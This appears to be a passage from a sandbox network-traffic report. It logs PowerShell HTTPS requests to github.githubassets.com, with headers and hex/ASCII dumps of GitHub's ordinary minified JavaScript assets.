2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 6f 2e 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 29 7b 74 28 29 2c 6e 2e 64 69 73 63 6f 6e 6e 65 63 74 28 29 3b 72 65 74 75 72 6e 7d 7d 2c 7b 72 6f 6f 74 4d 61 72 67 69 6e 3a 22 30 70 78 20 30 70 78 20 32 35 36 70 78 20 30 70 78 22 2c 74 68 72 65 73 68 6f 6c 64 3a 2e 30 31 7d 29 3b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 29 6e 2e 6f 62 73 65 72 76 65 28 74 29 7d 29 7d 2c 4c 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 66 75 6e 63 74 69 6f 6e 20 4d 28 65 29 7b 63 61 6e 63 65 6c 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 4c 2e 67 65 74 28 65 29 7c 7c 30 29 2c 4c 2e 73 65 74 28 65 2c 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 28 28 29 3d 3e 7b 66 6f 72 28 6c 65 Data Ascii: o.isIntersecting){t(),n.disconnect();return}},{rootMargin:"0px 0px 256px 0px",threshold:.01});for(let t of document.querySelectorAll(e))n.observe(t)})},L=new WeakMap;function M(e){cancelAnimationFrame(L.get(e)\|\|0),L.set(e,requestAnimationFrame(()=>{for(le
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 28 65 29 2c 53 28 74 68 69 73 2c 6c 2c 63 29 2e 63 61 6c 6c 28 74 68 69 73 29 7d 70 6f 70 28 29 7b 6c 65 74 20 65 3d 43 28 74 68 69 73 2c 72 29 5b 30 5d 3b 72 65 74 75 72 6e 20 43 28 74 68 69 73 2c 72 29 5b 43 28 74 68 69 73 2c 72 29 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 28 43 28 74 68 69 73 2c 72 29 5b 30 5d 3d 43 28 74 68 69 73 2c 72 29 5b 43 28 74 68 69 73 2c 72 29 2e 6c 65 6e 67 74 68 2d 31 5d 2c 43 28 74 68 69 73 2c 72 29 2e 70 6f 70 28 29 29 2c 53 28 74 68 69 73 2c 61 2c 73 29 2e 63 61 6c 6c 28 74 68 69 73 29 2c 65 7d 70 65 65 6b 28 29 7b 72 65 74 75 72 6e 20 43 28 74 68 69 73 2c 72 29 5b 30 5d 7d 64 65 6c 65 74 65 28 65 29 7b 6c 65 74 20 74 3d 43 28 74 68 69 73 2c 72 29 2e 69 6e 64 65 78 4f 66 28 65 29 3b 2d 31 21 3d 3d 74 26 26 28 4c 28 43 28 74 68 Data Ascii: (e),S(this,l,c).call(this)}pop(){let e=C(this,r)[0];return C(this,r)[C(this,r).length-1]&&(C(this,r)[0]=C(this,r)[C(this,r).length-1],C(this,r).pop()),S(this,a,s).call(this),e}peek(){return C(this,r)[0]}delete(e){let t=C(this,r).indexOf(e);-1!==t&&(L(C(th
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 61 6c 6c 28 65 2c 6e 29 3a 74 2e 73 65 74 28 65 2c 6e 29 2c 6e 29 3b 6c 65 74 20 44 65 66 65 72 72 65 64 3d 63 6c 61 73 73 20 44 65 66 65 72 72 65 64 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 50 28 74 68 69 73 2c 64 2c 22 44 65 66 65 72 72 65 64 22 29 2c 4f 28 74 68 69 73 2c 68 2c 76 6f 69 64 20 30 29 2c 4f 28 74 68 69 73 2c 75 2c 76 6f 69 64 20 30 29 2c 4f 28 74 68 69 73 2c 66 2c 76 6f 69 64 20 30 29 2c 52 28 74 68 69 73 2c 68 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 65 2c 74 29 3d 3e 7b 52 28 74 68 69 73 2c 75 2c 65 29 2c 52 28 74 68 69 73 2c 66 2c 74 29 7d 29 29 7d 74 68 65 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 65 6e 2e 61 70 70 6c 79 28 57 28 74 68 69 73 2c 68 29 2c 5b 65 2c 74 5d 29 Data Ascii: all(e,n):t.set(e,n),n);let Deferred=class Deferred{constructor(){P(this,d,"Deferred"),O(this,h,void 0),O(this,u,void 0),O(this,f,void 0),R(this,h,new Promise((e,t)=>{R(this,u,e),R(this,f,t)}))}then(e,t){return Promise.prototype.then.apply(W(this,h),[e,t])
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 7d 73 65 74 20 64 65 6c 61 79 28 65 29 7b 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 65 6c 61 79 22 2c 60 24 7b 65 7d 60 29 7d 61 6e 6e 6f 75 6e 63 65 28 65 2c 74 3d 7b 7d 29 7b 6c 65 74 7b 64 65 6c 61 79 4d 73 3a 6e 2c 70 6f 6c 69 74 65 6e 65 73 73 3a 6f 3d 22 70 6f 6c 69 74 65 22 7d 3d 74 2c 69 3d 44 61 74 65 2e 6e 6f 77 28 29 2c 72 3d 6e 65 77 20 44 65 66 65 72 72 65 64 2c 61 3d 7b 64 65 66 65 72 72 65 64 3a 72 2c 70 6f 6c 69 74 65 6e 65 73 73 3a 6f 2c 63 6f 6e 74 65 6e 74 73 3a 65 2c 73 63 68 65 64 75 6c 65 64 3a 76 6f 69 64 20 30 21 3d 3d 6e 3f 69 2b 6e 3a 69 7d 3b 72 65 74 75 72 6e 20 6a 28 74 68 69 73 2c 6d 29 2e 69 6e 73 65 72 74 28 61 29 2c 44 28 74 68 69 73 2c 62 2c 77 29 2e 63 61 6c 6c 28 74 68 69 73 29 2c 7b 2e 2e 2e 72 2e 67 Data Ascii: }set delay(e){this.setAttribute("delay",`${e}`)}announce(e,t={}){let{delayMs:n,politeness:o="polite"}=t,i=Date.now(),r=new Deferred,a={deferred:r,politeness:o,contents:e,scheduled:void 0!==n?i+n:i};return j(this,m).insert(a),D(this,b,w).call(this),{...r.g
2024-09-30 13:50:21 UTC	1378	IN	Data Raw: 6f 6e 74 61 69 6e 65 72 20 77 69 74 68 20 69 64 3d 22 24 7b 6f 7d 22 60 29 3b 69 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 3d 3d 74 3f 69 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 60 24 7b 74 7d 5c 78 61 30 60 3a 69 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 74 2c 6e 75 6c 6c 21 3d 3d 6a 28 74 68 69 73 2c 67 29 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 6a 28 74 68 69 73 2c 67 29 29 2c 6e 2e 72 65 73 6f 6c 76 65 28 29 2c 74 68 69 73 2e 64 65 6c 61 79 3e 30 3f 5f 28 74 68 69 73 2c 67 2c 77 69 6e 64 6f 77 2e 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 5f 28 74 68 69 73 2c 67 2c 6e 75 6c 6c 29 2c 5f 28 74 68 69 73 2c 70 2c 21 31 29 2c 44 28 74 68 69 73 2c 62 2c 77 29 2e 63 61 6c 6c 28 74 68 69 73 29 7d 2c 74 68 69 73 2e 64 65 6c 61 79 29 29 3a 28 5f 28 74 68 69 Data Ascii: ontainer with id="${o}"`);i.textContent===t?i.textContent=`${t}\xa0`:i.textContent=t,null!==j(this,g)&&clearTimeout(j(this,g)),n.resolve(),this.delay>0?_(this,g,window.setTimeout(()=>{_(this,g,null),_(this,p,!1),D(this,b,w).call(this)},this.delay)):(_(thi
2024-09-30 13:50:21 UTC	746	IN	Data Raw: 6e 74 28 65 2c 74 29 3b 72 65 74 75 72 6e 20 69 3d 6f 2e 63 61 6e 63 65 6c 2c 6f 7d 7d 29 2c 63 61 6e 63 65 6c 3a 28 29 3d 3e 7b 69 28 29 7d 7d 7d 72 65 74 75 72 6e 20 6e 2e 61 6e 6e 6f 75 6e 63 65 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 55 28 65 29 7b 6c 65 74 20 74 3d 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 6e 75 6c 6c 21 3d 3d 28 74 3d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 6c 6f 73 65 73 74 28 22 64 69 61 6c 6f 67 22 29 2c 6e 3d 65 3b 66 6f 72 28 3b 28 6e 3d 6e 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 26 26 28 21 74 7c 7c 74 2e 63 6f 6e 74 61 69 6e 73 28 6e 29 29 3b 29 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 6e 2e 63 68 69 6c 64 4e 6f 64 65 73 29 69 66 28 65 20 69 6e 73 74 61 6e 63 65 Data Ascii: nt(e,t);return i=o.cancel,o}}),cancel:()=>{i()}}}return n.announceFromElement(e,t)}function U(e){let t=null;return null!==(t=e?function(e){let t=e.closest("dialog"),n=e;for(;(n=n.parentElement)&&(!t\|\|t.contains(n));)for(let e of n.childNodes)if(e instance

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49746	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:22 UTC	450	OUT	GET /assets/vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_githu-bb80ec-634de60bacfa.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:23 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16995 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Fri, 13 Sep 2024 14:50:55 GMT ETag: "0x8DCD403787F634B" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 453093 Date: Mon, 30 Sep 2024 13:50:23 GMT X-Served-By: cache-iad-kcgs7200073-IAD, cache-ewr-kewr1740053-EWR X-Cache: HIT, HIT X-Cache-Hits: 26, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 1987882f552c39317a5f6b2aeb09a8697526fc80
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 62 72 61 69 6e 74 72 65 65 5f 62 72 6f 77 73 65 72 2d 64 65 74 65 63 74 69 6f 6e 5f 64 69 73 74 5f 62 72 6f 77 73 65 72 2d 64 65 74 65 63 74 69 6f 6e 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 2d 62 62 38 30 65 63 22 5d 2c 7b 32 33 36 38 33 3a 28 65 2c 74 2c 73 29 3d 3e 7b 74 2e 6e 72 3d 76 6f 69 64 20 30 2c 73 28 37 36 30 39 31 29 2c 73 28 37 30 39 35 35 29 2c 73 28 39 32 31 31 32 29 2c 73 28 36 30 30 32 30 29 2c 73 28 34 35 37 34 34 29 2c 73 28 32 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_githu-bb80ec"],{23683:(e,t,s)=>{t.nr=void 0,s(76091),s(70955),s(92112),s(60020),s(45744),s(2
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 53 49 45 22 29 7c 7c 6e 28 65 29 7d 7d 2c 34 32 31 38 39 3a 65 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 2d 31 21 3d 3d 28 65 3d 65 7c 7c 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 2e 69 6e 64 65 78 4f 66 28 22 4d 53 49 45 20 31 30 22 29 7d 7d 2c 31 36 31 37 34 3a 65 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 2d 31 21 3d 3d 28 65 3d 65 7c 7c 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 2e 69 6e 64 65 78 4f 66 28 22 54 72 69 64 65 6e 74 2f 37 22 29 7d 7d 2c 32 30 37 37 37 3a 65 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 2d 31 Data Ascii: SIE")\|\|n(e)}},42189:e=>{e.exports=function(e){return -1!==(e=e\|\|window.navigator.userAgent).indexOf("MSIE 10")}},16174:e=>{e.exports=function(e){return -1!==(e=e\|\|window.navigator.userAgent).indexOf("Trident/7")}},20777:e=>{e.exports=function(e){return -1
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 64 2f 69 2e 74 65 73 74 28 65 29 26 26 22 6f 6e 74 6f 75 63 68 65 6e 64 22 69 6e 20 74 7d 7d 2c 32 32 32 34 3a 28 65 2c 74 2c 73 29 3d 3e 7b 76 61 72 20 6e 3d 73 28 37 36 33 36 39 29 2c 72 3d 73 28 36 37 33 36 35 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 28 65 3d 65 7c 7c 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 7c 7c 2f 69 50 68 6f 6e 65 7c 69 50 6f 64 7c 69 50 61 64 7c 4d 6f 62 69 6c 65 7c 54 61 62 6c 65 74 2f 69 2e 74 65 73 74 28 65 29 26 26 72 28 65 29 7d 7d 2c 36 36 37 38 37 3a 65 3d 3e 7b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 2d 31 21 3d 3d 28 65 3d 65 7c 7c 77 69 6e 64 6f 77 2e 6e 61 76 69 67 61 74 6f 72 2e Data Ascii: d/i.test(e)&&"ontouchend"in t}},2224:(e,t,s)=>{var n=s(76369),r=s(67365);e.exports=function(e){return n(e=e\|\|window.navigator.userAgent)\|\|/iPhone\|iPod\|iPad\|Mobile\|Tablet/i.test(e)&&r(e)}},66787:e=>{e.exports=function(e){return -1!==(e=e\|\|window.navigator.
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 3a 28 65 2c 74 2c 73 29 3d 3e 7b 73 2e 64 28 74 2c 7b 69 3a 28 29 3d 3e 41 6c 69 76 65 53 65 73 73 69 6f 6e 7d 29 3b 76 61 72 20 6e 2c 72 3d 73 28 37 37 34 37 39 29 2c 69 3d 73 28 31 34 38 34 35 29 2c 61 3d 73 28 32 38 35 35 36 29 2c 6f 3d 73 28 32 39 34 30 36 29 2c 63 3d 73 28 32 33 39 36 33 29 2c 6c 3d 73 28 31 31 31 39 33 29 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 44 65 70 6c 6f 79 3d 22 41 6c 69 76 65 20 52 65 64 65 70 6c 6f 79 22 2c 65 2e 52 65 63 6f 6e 6e 65 63 74 3d 22 41 6c 69 76 65 20 52 65 63 6f 6e 6e 65 63 74 22 7d 28 6e 7c 7c 28 6e 3d 7b 7d 29 29 3b 6c 65 74 20 41 6c 69 76 65 53 65 73 73 69 6f 6e 3d 63 6c 61 73 73 20 41 6c 69 76 65 53 65 73 73 69 6f 6e 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 2c 73 2c 6e 2c 61 3d 36 65 35 29 7b Data Ascii: :(e,t,s)=>{s.d(t,{i:()=>AliveSession});var n,r=s(77479),i=s(14845),a=s(28556),o=s(29406),c=s(23963),l=s(11193);!function(e){e.Deploy="Alive Redeploy",e.Reconnect="Alive Reconnect"}(n\|\|(n={}));let AliveSession=class AliveSession{constructor(e,t,s,n,a=6e5){
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 72 65 73 65 6e 63 65 4d 65 74 61 64 61 74 61 28 65 29 7b 6c 65 74 20 74 3d 6e 65 77 20 53 65 74 3b 66 6f 72 28 6c 65 74 20 73 20 6f 66 20 65 29 74 68 69 73 2e 70 72 65 73 65 6e 63 65 4d 65 74 61 64 61 74 61 2e 73 65 74 4d 65 74 61 64 61 74 61 28 73 29 2c 74 2e 61 64 64 28 73 2e 63 68 61 6e 6e 65 6c 4e 61 6d 65 29 3b 74 68 69 73 2e 73 65 6e 64 50 72 65 73 65 6e 63 65 4d 65 74 61 64 61 74 61 55 70 64 61 74 65 28 74 29 7d 73 65 6e 64 50 72 65 73 65 6e 63 65 4d 65 74 61 64 61 74 61 55 70 64 61 74 65 28 65 29 7b 69 66 28 21 65 2e 73 69 7a 65 29 72 65 74 75 72 6e 3b 6c 65 74 20 74 3d 5b 5d 3b 66 6f 72 28 6c 65 74 20 73 20 6f 66 20 65 29 7b 6c 65 74 20 65 3d 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 74 6f 70 69 63 28 73 29 3b 65 26 26 74 2e 70 75 Data Ascii: resenceMetadata(e){let t=new Set;for(let s of e)this.presenceMetadata.setMetadata(s),t.add(s.channelName);this.sendPresenceMetadataUpdate(t)}sendPresenceMetadataUpdate(e){if(!e.size)return;let t=[];for(let s of e){let e=this.subscriptions.topic(s);e&&t.pu
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 74 20 73 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 74 29 3b 73 77 69 74 63 68 28 73 2e 65 29 7b 63 61 73 65 22 61 63 6b 22 3a 74 68 69 73 2e 68 61 6e 64 6c 65 41 63 6b 28 73 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 6d 73 67 22 3a 74 68 69 73 2e 68 61 6e 64 6c 65 4d 65 73 73 61 67 65 28 73 29 7d 7d 68 61 6e 64 6c 65 41 63 6b 28 65 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 74 6f 70 69 63 73 28 29 29 74 2e 6f 66 66 73 65 74 3d 65 2e 6f 66 66 7d 68 61 6e 64 6c 65 4d 65 73 73 61 67 65 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 68 2c 73 3d 74 68 69 73 2e 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 74 6f 70 69 63 28 74 29 3b 69 66 28 73 29 7b 69 66 28 73 2e 6f 66 66 73 65 74 3d 65 2e 6f 66 66 2c 22 65 22 69 6e 20 65 Data Ascii: t s=JSON.parse(t);switch(s.e){case"ack":this.handleAck(s);break;case"msg":this.handleMessage(s)}}handleAck(e){for(let t of this.subscriptions.topics())t.offset=e.off}handleMessage(e){let t=e.ch,s=this.subscriptions.topic(t);if(s){if(s.offset=e.off,"e"in e
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 61 74 63 68 28 65 29 7b 69 66 28 22 41 62 6f 72 74 45 72 72 6f 72 22 21 3d 3d 65 2e 6e 61 6d 65 29 74 68 72 6f 77 20 65 7d 66 69 6e 61 6c 6c 79 7b 74 68 69 73 2e 72 65 74 72 79 69 6e 67 3d 6e 75 6c 6c 7d 7d 67 65 74 55 72 6c 57 69 74 68 50 72 65 73 65 6e 63 65 49 64 28 29 7b 6c 65 74 20 65 3d 6e 65 77 20 55 52 4c 28 74 68 69 73 2e 75 72 6c 2c 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 29 3b 72 65 74 75 72 6e 20 65 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 22 73 68 61 72 65 64 22 2c 74 68 69 73 2e 69 6e 53 68 61 72 65 64 57 6f 72 6b 65 72 2e 74 6f 53 74 72 69 6e 67 28 29 29 2c 65 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 22 70 22 2c 60 24 7b 74 68 69 73 2e 70 72 65 73 65 6e 63 65 49 64 7d 2e 24 7b 74 68 69 73 2e 63 Data Ascii: atch(e){if("AbortError"!==e.name)throw e}finally{this.retrying=null}}getUrlWithPresenceId(){let e=new URL(this.url,self.location.origin);return e.searchParams.set("shared",this.inSharedWorker.toString()),e.searchParams.set("p",`${this.presenceId}.${this.c
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 61 74 68 2e 66 6c 6f 6f 72 28 2e 31 2a 65 29 29 3b 61 77 61 69 74 20 72 28 4d 61 74 68 2e 6d 69 6e 28 73 2c 65 2b 61 29 2c 69 29 7d 74 68 72 6f 77 20 45 72 72 6f 72 28 22 72 65 74 72 79 20 66 61 69 6c 65 64 22 29 7d 73 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 69 7d 29 7d 2c 31 30 32 30 34 3a 28 65 2c 74 2c 73 29 3d 3e 7b 73 2e 64 28 74 2c 7b 4a 52 3a 28 29 3d 3e 69 2e 4a 52 2c 4b 4b 3a 28 29 3d 3e 6f 2e 4b 2c 56 48 3a 28 29 3d 3e 72 2e 56 2c 69 62 3a 28 29 3d 3e 6e 2e 69 2c 6d 30 3a 28 29 3d 3e 61 2e 6d 2c 6e 48 3a 28 29 3d 3e 72 2e 6e 7d 29 3b 76 61 72 20 6e 3d 73 28 38 36 39 34 38 29 2c 72 3d 73 28 31 34 38 34 35 29 2c 69 3d 73 28 37 37 34 37 39 29 2c 61 3d 73 28 32 39 34 30 36 29 2c 6f 3d 73 28 34 32 39 35 29 7d 2c 32 33 39 36 33 3a 28 65 2c 74 2c 73 29 3d Data Ascii: ath.floor(.1*e));await r(Math.min(s,e+a),i)}throw Error("retry failed")}s.d(t,{L:()=>i})},10204:(e,t,s)=>{s.d(t,{JR:()=>i.JR,KK:()=>o.K,VH:()=>r.V,ib:()=>n.i,m0:()=>a.m,nH:()=>r.n});var n=s(86948),r=s(14845),i=s(77479),a=s(29406),o=s(4295)},23963:(e,t,s)=
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 4d 65 74 61 64 61 74 61 28 65 2c 73 29 7d 72 65 6d 6f 76 65 53 75 62 73 63 72 69 62 65 72 73 28 65 29 7b 6c 65 74 20 74 3d 6e 65 77 20 53 65 74 3b 66 6f 72 28 6c 65 74 5b 73 2c 6e 5d 6f 66 20 74 68 69 73 2e 6d 65 74 61 64 61 74 61 42 79 43 68 61 6e 6e 65 6c 29 6e 2e 72 65 6d 6f 76 65 53 75 62 73 63 72 69 62 65 72 73 28 65 29 26 26 74 2e 61 64 64 28 73 29 2c 6e 2e 68 61 73 53 75 62 73 63 72 69 62 65 72 73 28 29 7c 7c 74 68 69 73 2e 6d 65 74 61 64 61 74 61 42 79 43 68 61 6e 6e 65 6c 2e 64 65 6c 65 74 65 28 73 29 3b 72 65 74 75 72 6e 20 74 7d 67 65 74 43 68 61 6e 6e 65 6c 4d 65 74 61 64 61 74 61 28 65 2c 74 29 7b 6c 65 74 20 73 3d 74 68 69 73 2e 6d 65 74 61 64 61 74 61 42 79 43 68 61 6e 6e 65 6c 2e 67 65 74 28 65 29 3b 72 65 74 75 72 6e 28 6e 75 6c 6c 3d 3d Data Ascii: Metadata(e,s)}removeSubscribers(e){let t=new Set;for(let[s,n]of this.metadataByChannel)n.removeSubscribers(e)&&t.add(s),n.hasSubscribers()\|\|this.metadataByChannel.delete(s);return t}getChannelMetadata(e,t){let s=this.metadataByChannel.get(e);return(null==
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 65 50 72 65 73 65 6e 63 65 49 74 65 6d 73 28 74 2e 64 2e 6d 61 70 28 72 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 70 61 22 3a 73 2e 61 64 64 50 72 65 73 65 6e 63 65 49 74 65 6d 28 72 28 74 2e 64 29 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 70 72 22 3a 73 2e 72 65 6d 6f 76 65 50 72 65 73 65 6e 63 65 49 74 65 6d 28 72 28 74 2e 64 29 29 7d 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 43 68 61 6e 6e 65 6c 49 74 65 6d 73 28 65 29 7d 67 65 74 43 68 61 6e 6e 65 6c 49 74 65 6d 73 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 67 65 74 50 72 65 73 65 6e 63 65 43 68 61 6e 6e 65 6c 28 65 29 2e 67 65 74 50 72 65 73 65 6e 63 65 49 74 65 6d 73 28 29 7d 63 6c 65 61 72 43 68 61 6e 6e 65 6c 28 65 29 7b 74 68 69 73 2e 70 72 65 73 65 6e 63 65 43 68 61 6e 6e 65 6c 73 2e 64 65 Data Ascii: ePresenceItems(t.d.map(r));break;case"pa":s.addPresenceItem(r(t.d));break;case"pr":s.removePresenceItem(r(t.d))}return this.getChannelItems(e)}getChannelItems(e){return this.getPresenceChannel(e).getPresenceItems()}clearChannel(e){this.presenceChannels.de

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.7	49747	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:23 UTC	391	OUT	GET /assets/vendors-node_modules_lit-html_lit-html_js-ce7225a304c5.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:23 UTC	697	IN	HTTP/1.1 200 OK Connection: close Content-Length: 16023 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:13 GMT ETag: "0x8DCB7D5A12FB424" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2132882 Date: Mon, 30 Sep 2024 13:50:23 GMT X-Served-By: cache-iad-kiad7000173-IAD, cache-ewr-kewr1740076-EWR X-Cache: HIT, HIT X-Cache-Hits: 1420, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 054c51f2c82ff32a57259b688ed332adafb95c15
2024-09-30 13:50:23 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 6c 69 74 2d 68 74 6d 6c 5f 6c 69 74 2d 68 74 6d 6c 5f 6a 73 22 5d 2c 7b 36 36 39 31 37 3a 28 74 2c 65 2c 69 29 3d 3e 7b 69 2e 64 28 65 2c 7b 71 3a 28 29 3d 3e 6c 2c 75 3a 28 29 3d 3e 6e 7d 29 3b 2f 2a 2a 0a 20 2a 20 40 6c 69 63 65 6e 73 65 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 20 54 68 65 20 50 6f 6c 79 6d 65 72 20 50 72 6f 6a 65 63 74 20 41 75 74 68 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 54 68 69 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_lit-html_lit-html_js"],{66917:(t,e,i)=>{i.d(e,{q:()=>l,u:()=>n});/** * @license * Copyright (c) 2017 The Polymer Project Authors. All rights reserved. * Thi
